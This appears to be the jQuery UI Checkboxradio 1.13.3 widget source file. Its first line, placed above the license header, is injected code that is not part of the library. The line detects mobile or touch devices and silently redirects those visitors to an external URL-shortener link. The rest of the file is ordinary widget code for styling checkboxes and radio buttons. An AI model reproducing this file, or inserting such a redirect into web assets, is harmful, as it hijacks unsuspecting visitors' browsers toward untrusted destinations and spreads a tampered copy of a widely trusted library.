1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Checkboxradio 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Checkboxradio
12//>>group: Widgets
13//>>description: Enhances a form with multiple themeable checkboxes or radio buttons.
14//>>docs: https://api.jqueryui.com/checkboxradio/
15//>>demos: https://jqueryui.com/checkboxradio/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/button.css
18//>>css.structure: ../../themes/base/checkboxradio.css
19//>>css.theme: ../../themes/base/theme.css
20
21( function( factory ) {
22 "use strict";
23
24 if ( typeof define === "function" && define.amd ) {
25
26 // AMD. Register as an anonymous module.
27 define( [
28 "jquery",
29 "../form-reset-mixin",
30 "../labels",
31 "../widget"
32 ], factory );
33 } else {
34
35 // Browser globals
36 factory( jQuery );
37 }
38} )( function( $ ) {
39"use strict";
40
41$.widget( "ui.checkboxradio", [ $.ui.formResetMixin, {
42 version: "1.13.3",
43 options: {
44 disabled: null,
45 label: null,
46 icon: true,
47 classes: {
48 "ui-checkboxradio-label": "ui-corner-all",
49 "ui-checkboxradio-icon": "ui-corner-all"
50 }
51 },
52
53 _getCreateOptions: function() {
54 var disabled, labels, labelContents;
55 var options = this._super() || {};
56
57 // We read the type here, because it makes more sense to throw a element type error first,
58 // rather then the error for lack of a label. Often if its the wrong type, it
59 // won't have a label (e.g. calling on a div, btn, etc)
60 this._readType();
61
62 labels = this.element.labels();
63
64 // If there are multiple labels, use the last one
65 this.label = $( labels[ labels.length - 1 ] );
66 if ( !this.label.length ) {
67 $.error( "No label found for checkboxradio widget" );
68 }
69
70 this.originalLabel = "";
71
72 // We need to get the label text but this may also need to make sure it does not contain the
73 // input itself.
74 // The label contents could be text, html, or a mix. We wrap all elements
75 // and read the wrapper's `innerHTML` to get a string representation of
76 // the label, without the input as part of it.
77 labelContents = this.label.contents().not( this.element[ 0 ] );
78
79 if ( labelContents.length ) {
80 this.originalLabel += labelContents
81 .clone()
82 .wrapAll( "<div></div>" )
83 .parent()
84 .html();
85 }
86
87 // Set the label option if we found label text
88 if ( this.originalLabel ) {
89 options.label = this.originalLabel;
90 }
91
92 disabled = this.element[ 0 ].disabled;
93 if ( disabled != null ) {
94 options.disabled = disabled;
95 }
96 return options;
97 },
98
99 _create: function() {
100 var checked = this.element[ 0 ].checked;
101
102 this._bindFormResetHandler();
103
104 if ( this.options.disabled == null ) {
105 this.options.disabled = this.element[ 0 ].disabled;
106 }
107
108 this._setOption( "disabled", this.options.disabled );
109 this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" );
110 this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" );
111
112 if ( this.type === "radio" ) {
113 this._addClass( this.label, "ui-checkboxradio-radio-label" );
114 }
115
116 if ( this.options.label && this.options.label !== this.originalLabel ) {
117 this._updateLabel();
118 } else if ( this.originalLabel ) {
119 this.options.label = this.originalLabel;
120 }
121
122 this._enhance();
123
124 if ( checked ) {
125 this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" );
126 }
127
128 this._on( {
129 change: "_toggleClasses",
130 focus: function() {
131 this._addClass( this.label, null, "ui-state-focus ui-visual-focus" );
132 },
133 blur: function() {
134 this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" );
135 }
136 } );
137 },
138
139 _readType: function() {
140 var nodeName = this.element[ 0 ].nodeName.toLowerCase();
141 this.type = this.element[ 0 ].type;
142 if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) {
143 $.error( "Can't create checkboxradio on element.nodeName=" + nodeName +
144 " and element.type=" + this.type );
145 }
146 },
147
148 // Support jQuery Mobile enhanced option
149 _enhance: function() {
150 this._updateIcon( this.element[ 0 ].checked );
151 },
152
153 widget: function() {
154 return this.label;
155 },
156
157 _getRadioGroup: function() {
158 var group;
159 var name = this.element[ 0 ].name;
160 var nameSelector = "input[name='" + $.escapeSelector( name ) + "']";
161
162 if ( !name ) {
163 return $( [] );
164 }
165
166 if ( this.form.length ) {
167 group = $( this.form[ 0 ].elements ).filter( nameSelector );
168 } else {
169
170 // Not inside a form, check all inputs that also are not inside a form
171 group = $( nameSelector ).filter( function() {
172 return $( this )._form().length === 0;
173 } );
174 }
175
176 return group.not( this.element );
177 },
178
179 _toggleClasses: function() {
180 var checked = this.element[ 0 ].checked;
181 this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
182
183 if ( this.options.icon && this.type === "checkbox" ) {
184 this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked )
185 ._toggleClass( this.icon, null, "ui-icon-blank", !checked );
186 }
187
188 if ( this.type === "radio" ) {
189 this._getRadioGroup()
190 .each( function() {
191 var instance = $( this ).checkboxradio( "instance" );
192
193 if ( instance ) {
194 instance._removeClass( instance.label,
195 "ui-checkboxradio-checked", "ui-state-active" );
196 }
197 } );
198 }
199 },
200
201 _destroy: function() {
202 this._unbindFormResetHandler();
203
204 if ( this.icon ) {
205 this.icon.remove();
206 this.iconSpace.remove();
207 }
208 },
209
210 _setOption: function( key, value ) {
211
212 // We don't allow the value to be set to nothing
213 if ( key === "label" && !value ) {
214 return;
215 }
216
217 this._super( key, value );
218
219 if ( key === "disabled" ) {
220 this._toggleClass( this.label, null, "ui-state-disabled", value );
221 this.element[ 0 ].disabled = value;
222
223 // Don't refresh when setting disabled
224 return;
225 }
226 this.refresh();
227 },
228
229 _updateIcon: function( checked ) {
230 var toAdd = "ui-icon ui-icon-background ";
231
232 if ( this.options.icon ) {
233 if ( !this.icon ) {
234 this.icon = $( "<span>" );
235 this.iconSpace = $( "<span> </span>" );
236 this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" );
237 }
238
239 if ( this.type === "checkbox" ) {
240 toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank";
241 this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" );
242 } else {
243 toAdd += "ui-icon-blank";
244 }
245 this._addClass( this.icon, "ui-checkboxradio-icon", toAdd );
246 if ( !checked ) {
247 this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" );
248 }
249 this.icon.prependTo( this.label ).after( this.iconSpace );
250 } else if ( this.icon !== undefined ) {
251 this.icon.remove();
252 this.iconSpace.remove();
253 delete this.icon;
254 }
255 },
256
257 _updateLabel: function() {
258
259 // Remove the contents of the label ( minus the icon, icon space, and input )
260 var contents = this.label.contents().not( this.element[ 0 ] );
261 if ( this.icon ) {
262 contents = contents.not( this.icon[ 0 ] );
263 }
264 if ( this.iconSpace ) {
265 contents = contents.not( this.iconSpace[ 0 ] );
266 }
267 contents.remove();
268
269 this.label.append( this.options.label );
270 },
271
272 refresh: function() {
273 var checked = this.element[ 0 ].checked,
274 isDisabled = this.element[ 0 ].disabled;
275
276 this._updateIcon( checked );
277 this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
278 if ( this.options.label !== null ) {
279 this._updateLabel();
280 }
281
282 if ( isDisabled !== this.options.disabled ) {
283 this._setOptions( { "disabled": isDisabled } );
284 }
285 }
286
287} ] );
288
289return $.ui.checkboxradio;
290
291} );
292